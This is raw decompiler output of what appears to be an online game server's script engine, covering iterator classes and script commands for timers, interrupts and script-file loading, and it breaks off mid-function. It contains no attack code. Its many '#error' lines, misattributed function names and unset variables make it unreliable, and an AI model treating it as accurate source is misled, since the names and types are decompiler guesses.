(004B0FE0) -------------------------------------------------------- #error "4B0FE0: undefined or illegal type '#325' (funcsize=21)" //----- (004B1020) -------------------------------------------------------- void __thiscall AxialListCount2::AxialListCount2(AxialListCount2 *this) { AxialListCount2 *v1; // esi@1 v1 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListCount2::_vftable_; v1->alc_Cnt = 0; } // 5BF7DC: using guessed type int (__stdcall *AxialListCount2___vftable_[4])(int, int, int distancesquar); //----- (004B1040) -------------------------------------------------------- void __thiscall AxialListCount2::_AxialListCount2(AxialListCount2 *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListCount2::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BF7DC: using guessed type int (__stdcall *AxialListCount2___vftable_[4])(int, int, int distancesquar); //----- (004B1050) -------------------------------------------------------- #error "4B1050: undefined or illegal type '#325' (funcsize=11)" //----- (004B1070) -------------------------------------------------------- void __thiscall AxialListTeleportSplit::AxialListTeleportSplit(AxialListTeleportSplit *this, int NumOfPlayer, SHINE_XY_TYPE *Position, SHINE_XY_TYPE *Position2) { AxialListTeleportSplit *v4; // esi@1 v4 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v4->_Half = NumOfPlayer / 2; v4->allt_position = Position; v4->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListTeleportSplit::_vftable_; v4->_Current = 0; v4->allt_position2 = Position2; } // 5BF7E0: using guessed type int (__stdcall *AxialListTeleportSplit___vftable_[3])(int, int, int distancesquar); //----- (004B10B0) -------------------------------------------------------- void __thiscall AxialListTeleportSplit::_AxialListTeleportSplit(AxialListTeleportSplit *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListTeleportSplit::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BF7E0: using guessed type int (__stdcall *AxialListTeleportSplit___vftable_[3])(int, int, int distancesquar); //----- (004B10C0) -------------------------------------------------------- #error "4B10C0: undefined or illegal type '#325' (funcsize=33)" //----- (004B1120) -------------------------------------------------------- void __thiscall AxialListFindItemOwner::AxialListFindItemOwner(AxialListFindItemOwner *this, unsigned __int16 itmid, PineScriptToken *delimiter, PineScriptToken *result) { AxialListFindItemOwner *v4; // esi@1 v4 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v4->alfio_ItemID = itmid; v4->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListFindItemOwner::_vftable_; v4->alfio_Delimiter = delimiter; v4->alfio_Result = result; v4->alfio_Number = 0; } // 5BF7E4: using guessed type int (__stdcall *AxialListFindItemOwner___vftable_[2])(int, int, int distancesquar); //----- (004B1160) -------------------------------------------------------- void __thiscall AxialListFindItemOwner::_AxialListFindItemOwner(AxialListFindItemOwner *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListFindItemOwner::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BF7E4: using guessed type int (__stdcall *AxialListFindItemOwner___vftable_[2])(int, int, int distancesquar); //----- (004B1170) -------------------------------------------------------- #error "4B1170: undefined or illegal type '#325' (funcsize=71)" //----- (004B1250) -------------------------------------------------------- void __thiscall AxialListObjectCollector::_AxialListObjectCollector(AxialListObjectCollector *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectCollector::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BF7E8: using guessed type int (__stdcall *AxialListObjectCollector___vftable_)(int, int, int distancesquar); //----- (004B1260) -------------------------------------------------------- void __thiscall AxialListGTEnd::_AxialListGTEnd(AxialListGTEnd *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGTEnd::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BF7EC: using guessed type int (__thiscall *AxialListGTEnd___vftable_)(AxialListProtocolSend *this, #325 *, #325 *, int distancesquar); //----- (004B1270) -------------------------------------------------------- #error "4B1270: undefined or illegal type '#325' (funcsize=23)" //----- (004B12B0) -------------------------------------------------------- #error "4B12B0: undefined or illegal type '#585' (funcsize=26)" //----- (004B1300) -------------------------------------------------------- void __thiscall AxialListBanArea::_AxialListBanArea(AxialListBanArea *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListBanArea::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BF7F0: using guessed type int (__stdcall *AxialListBanArea___vftable_[2])(int, int, int distancesquar); //----- (004B1310) -------------------------------------------------------- void __thiscall AxialListRevival::_AxialListRevival(AxialListRevival *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListRevival::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BF7F4: using guessed type int (__stdcall *AxialListRevival___vftable_)(int, int, int distancesquar); //----- (004B1320) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::GTMobRegenKey *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 5BF8B8: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__GTMobRegenKey____vftable_)(int tr); //----- (004B1330) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::RegisterGTPortal *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::RegisterGTPortal::_RegisterGTPortal(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004B1350) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::HasAbstate *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::HasAbstate::_HasAbstate(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004B1370) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::BroadcastCode *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::BroadcastCode::_BroadcastCode(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004B1390) -------------------------------------------------------- void *__thiscall PineEventScriptNode::GTRegisterNPC::_scalar_deleting_destructor_(PineEventScriptNode::GTRegisterNPC *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptBase::_ScriptBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004B13B0) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::GTMobRegenKey *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptBase::_ScriptBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004B13D0) -------------------------------------------------------- #error "4B13D0: undefined or illegal type '#585' (funcsize=8)" //----- (004B1400) -------------------------------------------------------- #error "4B1400: undefined or illegal type '#325' (funcsize=25)" //----- (004B1450) -------------------------------------------------------- #325 *__thiscall PineEventScriptNode::OtherStatement::os_ShineObject(PineEventScriptNode::OtherStatement *this, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::OtherStatement *v2; // esi@1 PineScriptToken *v3; // eax@1 #325 *result; // eax@2 unsigned __int16 v5; // ax@3 #325 *v6; // eax@3 #325 *v7; // esi@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::OtherStatement::os_ShineObject"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::OtherStatement::os_ShineObject"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = PineEventScriptNode::Identify::i_GetVariable(&v2->os_Ident, ps); if ( v3 ) { v5 = PineScriptToken::pst_GetNumber(v3, 0); v6 = ShineObjectManager::som_GetObjectAbsolute(&shineobjmanager, v5); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::OtherStatement::os_ShineObject"); result = v7; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::OtherStatement::sa_Step", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::OtherStatement::os_ShineObject"); result = 0; } return result; } //----- (004B1550) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StatePermillage::sa_Step(PineEventScriptNode::StatePermillage *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StatePermillage *v4; // esi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineScriptToken *v8; // esi@1 unsigned int v9; // eax@2 char *v10; // eax@2 int v11; // ecx@2 int v12; // ST0C_4@2 PineScriptToken *v13; // eax@2 MobTacticElement::MobActionBase *v14; // eax@2 unsigned __int16 v15; // ax@3 unsigned __int16 v16; // si@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::StatePermillage::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::StatePermillage::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "StatePermillage : "); v8 = PineEventScriptNode::Identify::i_GetVariable(&v4->sp_Var, ps); if ( v8 ) { v9 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v9; v10 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v9]]; v11 = *((_DWORD *)v10 + 8193) & (*((_DWORD *)v10 + 8192) + 1); *((_DWORD *)v10 + 8192) = v11; v12 = *(_WORD *)&v10[2 * v11]; v13 = PineScriptToken::pst_Clear(v8); PineScriptToken::pst_MergeNumber(v13, v12); v14 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)v8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v14, &trc_eol); } v15 = PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v16 = v15; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::StatePermillage::sa_Step"); return v16; } //----- (004B16A0) -------------------------------------------------------- #error "4B16A0: undefined or illegal type '#325' (funcsize=71)" //----- (004B1780) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineScriptFile::sa_Step(PineEventScriptNode::ShineScriptFile *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineScriptFile *v4; // esi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 MobTacticElement::MobActionBase *v9; // eax@4 MobTacticElement::MobActionBase *v10; // eax@5 char *v11; // eax@5 unsigned __int16 result; // ax@7 PineScriptToken scriptname; // [sp+10h] [bp-110h]@1 unsigned int v14; // [sp+110h] [bp-10h]@7 int v15; // [sp+11Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineScriptFile::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineScriptFile::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineScriptFile : "); PineScriptToken::pst_Clear(&scriptname); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v15) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&scriptname, ps) != 0 ) { if ( PineScriptToken::operator__(&scriptname, byte_5A62A6) ) { v9 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, "Unset script file"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v9, &trc_eol); *(_DWORD *)&ps->gap10114[28] = 0; } else { v10 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&scriptname); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v10, &trc_eol); MoveManager::MoveManager((DiceTaiSai *)&scriptname); *(_DWORD *)&ps->gap10114[28] = KQScriptManager::operator__(&kqscriptmanager, v11); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v15) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&scriptname); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineScriptFile::sa_Step"); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineScriptFile::sa_Step: wrong argument", 0); LOBYTE(v15) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&scriptname); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineScriptFile::sa_Step"); } __security_check_cookie(v14); return result; } //----- (004B1970) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineTimeLimit::sa_Step(PineEventScriptNode::ShineTimeLimit *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineTimeLimit *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // edx@1 MobTacticElement::MobActionBase *v9; // eax@3 MobTacticElement::MobActionBase *v10; // eax@3 MobTacticElement::MobActionBase *v11; // eax@3 Movie::TimeLimit *v12; // edi@3 int v13; // ebp@3 char *v14; // eax@3 unsigned __int16 result; // ax@4 PineScriptToken arg; // [sp+10h] [bp-210h]@1 PineScriptToken timeunit; // [sp+110h] [bp-110h]@1 unsigned int v18; // [sp+210h] [bp-10h]@4 int v19; // [sp+21Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineTimeLimit::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineTimeLimit::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineTimeLimit : "); PineScriptToken::pst_Clear(&timeunit); LOBYTE(v19) = 1; PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &timeunit, ps); PineScriptToken::pst_Clear(&arg); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v19) = 2; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&arg, ps) != 0 ) { v9 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&timeunit); v10 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v9, &stru_5AB5B0); v11 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v10, (MobTacticElement::MobActionArgument *)&arg); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v11, &trc_eol); v12 = *(Movie::TimeLimit **)&ps->gap10114[4]; v13 = PineScriptToken::pst_GetNumber(&arg, 0); MoveManager::MoveManager((DiceTaiSai *)&timeunit); v12 = (Movie::TimeLimit *)((char *)v12 + 66100); Movie::TimeLimit::tl_SetTimeLimit(v12, v14, v13); Movie::TimeLimit::tl_LeftTick(v12); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v19) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg); LOBYTE(v19) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&timeunit); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineTimeLimit::sa_Step"); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineTimeLimit::sa_Step: wrong argument", 0); LOBYTE(v19) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg); LOBYTE(v19) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&timeunit); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineTimeLimit::sa_Step"); } __security_check_cookie(v18); return result; } //----- (004B1BB0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineInterruptSet::sa_Step(PineEventScriptNode::ShineInterruptSet *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineInterruptSet *v4; // esi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineScriptToken *v8; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v9; // edx@1 const char *v10; // eax@3 int v11; // eax@3 PineScriptToken *v12; // edi@6 int v13; // esi@6 MobTacticElement::MobActionBase *v14; // eax@11 char *v15; // esi@12 const char *v16; // eax@12 void *v17; // ecx@12 char *v18; // esi@16 const char *v19; // eax@16 Movie::Theater *v20; // ecx@16 const char *v21; // eax@60 const char *v22; // eax@61 unsigned __int16 result; // ax@63 const char *v24; // [sp-4h] [bp-658h]@2 int v25; // [sp+0h] [bp-654h]@2 char v26; // [sp+0h] [bp-654h]@24 int num; // [sp+10h] [bp-644h]@6 signed int v28; // [sp+14h] [bp-640h]@6 Name4 index; // [sp+1Ch] [bp-638h]@3 Name4 Flagindex; // [sp+2Ch] [bp-628h]@12 PineScriptToken thisa; // [sp+3Ch] [bp-618h]@11 PineScriptToken exp[3]; // [sp+13Ch] [bp-518h]@6 PineScriptToken flag; // [sp+43Ch] [bp-218h]@1 PineScriptToken tkn; // [sp+53Ch] [bp-118h]@1 unsigned int cookie; // [sp+640h] [bp-14h]@63 int v36; // [sp+650h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineInterruptSet::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineInterruptSet::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v36 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "InterruptSet : "); PineScriptToken::pst_Clear(&flag); LOBYTE(v36) = 1; v8 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &flag, ps); PineScriptToken::pst_ToLower(v8); PineScriptToken::pst_Clear(&tkn); v9 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v36) = 2; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v9->sa_Calculate)(&tkn, ps) != 0 ) { MoveManager::MoveManager((DiceTaiSai *)&tkn); *(_QWORD *)&index.n4_name[8] = 0i64; *(_QWORD *)&index.n4_name[0] = 0i64; strncpy(index.n4_name, v10, 0x10u); v11 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v25 = 0; if ( v11 == 0 ) { v24 = "PineEventScriptNode::ShineInterruptSet::sa_Step : No num"; goto LABEL_5; } num = PineScriptToken::pst_GetNumber(&tkn, 0); _eh_vector_constructor_iterator_( exp, 0x100u, 3, (void (__thiscall *)(void *))PineScriptToken::pst_Clear, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); LOBYTE(v36) = 3; v12 = exp; v13 = (int)&v4->baseclass_0.os_Express[2]; v28 = 3; do { if ( *(_DWORD *)v13 ) (*(void (__stdcall **)(PineScriptToken *, PineScriptStack::ProcessStack *))(**(_DWORD **)v13 + 8))(v12, ps); else PineScriptToken::pst_Clear(v12); v13 += 4; ++v12; --v28; } while ( v28 ); v14 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&flag); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v14, &trc_eol); memcpy(&thisa, &flag, sizeof(thisa)); LOBYTE(v36) = 4; if ( PineScriptToken::operator__(&thisa, index_areaentry.pst_Buffer) ) { Movie::Theater::t_SetInterruptAreaEntry(*(Movie::Theater **)&ps->gap10114[4], &index, exp, num); v15 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 27653; MoveManager::MoveManager((DiceTaiSai *)exp); *((_DWORD *)v15 + 7) = 0; *((_DWORD *)v15 + 6) = 0; *((_DWORD *)v15 + 5) = 0; *((_DWORD *)v15 + 4) = 0; *((_DWORD *)v15 + 3) = 0; *((_DWORD *)v15 + 2) = 0; *((_DWORD *)v15 + 1) = 0; *(_DWORD *)v15 = 0; strncpy(v15, v16, 0x20u); AxialListPacketBroadcast::AxialListPacketBroadcast((AxialListPacketBroadcast *)&Flagindex, &gpp, 34); v17 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v36) = 5; if ( v17 != 0 ) { ShineObjectClass::ShineObject::so_AllInMap(v17, (int)&Flagindex, 0); LOBYTE(v36) = 4; AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)&Flagindex); } else { AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v36) = 4; AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)&Flagindex); } goto LABEL_62; } if ( PineScriptToken::operator__(&thisa, index_arealeave.pst_Buffer) ) { Movie::Theater::t_SetInterruptAreaLeave(*(Movie::Theater **)&ps->gap10114[4], &index, exp, num); v18 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 27655; MoveManager::MoveManager((DiceTaiSai *)exp); *((_DWORD *)v18 + 7) = 0; *((_DWORD *)v18 + 6) = 0; *((_DWORD *)v18 + 5) = 0; *((_DWORD *)v18 + 4) = 0; *((_DWORD *)v18 + 3) = 0; *((_DWORD *)v18 + 2) = 0; *((_DWORD *)v18 + 1) = 0; *(_DWORD *)v18 = 0; strncpy(v18, v19, 0x20u); AxialListPacketBroadcast::AxialListPacketBroadcast((AxialListPacketBroadcast *)&Flagindex, &gpp, 34); v20 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v36) = 6; Movie::Theater::t_AllInMap(v20, (AxialListIterator *)&Flagindex); LOBYTE(v36) = 4; AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)&Flagindex); } else { if ( PineScriptToken::operator__(&thisa, index_npcclickhandle.pst_Buffer) ) { Movie::Theater::t_SetInterruptNPCClickHandle(*(Movie::Theater **)&ps->gap10114[4], &index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_npcclickindex.pst_Buffer) ) { Movie::Theater::t_SetInterruptNPCClickIndex(*(Movie::Theater **)&ps->gap10114[4], &index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_npcclickany.pst_Buffer) ) { Movie::Theater::t_SetInterruptNPCClickAny(*(Movie::Theater **)&ps->gap10114[4], &index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_millisec.pst_Buffer) ) { v26 = 109; } else { if ( PineScriptToken::operator__(&thisa, index_sec.pst_Buffer) ) { Movie::Theater::t_SetInterruptTimeInterval(*(Movie::Theater **)&ps->gap10114[4], &index, exp, num, 83); goto LABEL_62; } if ( !PineScriptToken::operator__(&thisa, index_minute.pst_Buffer) ) { if ( PineScriptToken::operator__(&thisa, index_hour.pst_Buffer) ) { Movie::Theater::t_SetInterruptTimeInterval(*(Movie::Theater **)&ps->gap10114[4], &index, exp, num, 72); } else { if ( PineScriptToken::operator__(&thisa, index_hplow.pst_Buffer) ) { Movie::Theater::t_SetInterruptHPLow(*(Movie::Theater **)&ps->gap10114[4], &index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_mobeliminate.pst_Buffer) ) { Movie::Theater::t_SetInterruptMobEliminate(*(Movie::Theater **)&ps->gap10114[4], &index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_playereliminate.pst_Buffer) ) { Movie::Theater::t_SetInterruptPlayerEliminate( *(Movie::Theater **)&ps->gap10114[4], &index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_guildliminate.pst_Buffer) ) { Movie::Theater::t_SetInterruptGuildEliminate( *(Movie::Theater **)&ps->gap10114[4], &index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_timeout.pst_Buffer) ) { Movie::Theater::t_SetInterruptTimeOut( *(Movie::Theater **)&ps->gap10114[4], &index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_deadhandle.pst_Buffer) ) { Movie::Theater::t_SetInterruptDeadHandle( *(Movie::Theater **)&ps->gap10114[4], &index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_deadindex.pst_Buffer) ) { Movie::Theater::t_SetInterruptDeadIndex( *(Movie::Theater **)&ps->gap10114[4], &index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_killenemy.pst_Buffer) ) { Movie::Theater::t_SetInterruptKillEnemy( *(Movie::Theater **)&ps->gap10114[4], &index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_targetchange.pst_Buffer) ) { Movie::Theater::t_SetInterruptTargetChange( *(Movie::Theater **)&ps->gap10114[4], &index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_playerdead.pst_Buffer) ) { Movie::Theater::t_SetInterruptPlayerDead( *(Movie::Theater **)&ps->gap10114[4], &index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_admin.pst_Buffer) ) { ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_Admin( (ScriptInterrupt::ScriptInterruptManager *)(*(_DWORD *)&ps->gap10114[4] + 66116), &index); } else { if ( PineScriptToken::operator__(&thisa, index_pickupitemindex.pst_Buffer) ) { Movie::Theater::t_SetInterruptPickUpItemIndex( *(Movie::Theater **)&ps->gap10114[4], &index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_hpfull.pst_Buffer) ) { Movie::Theater::t_SetInterruptHPFull( *(Movie::Theater **)&ps->gap10114[4], &index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_hpupper.pst_Buffer) ) { Movie::Theater::t_SetInterruptHPUpper( *(Movie::Theater **)&ps->gap10114[4], &index, exp, num); } else { MoveManager::MoveManager((DiceTaiSai *)&flag); Name4::Name4(&Flagindex, v21); if ( !ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_Unit( (ScriptInterrupt::ScriptInterruptManager *)(*(_DWORD *)&ps->gap10114[4] + 66116), &Flagindex, exp, 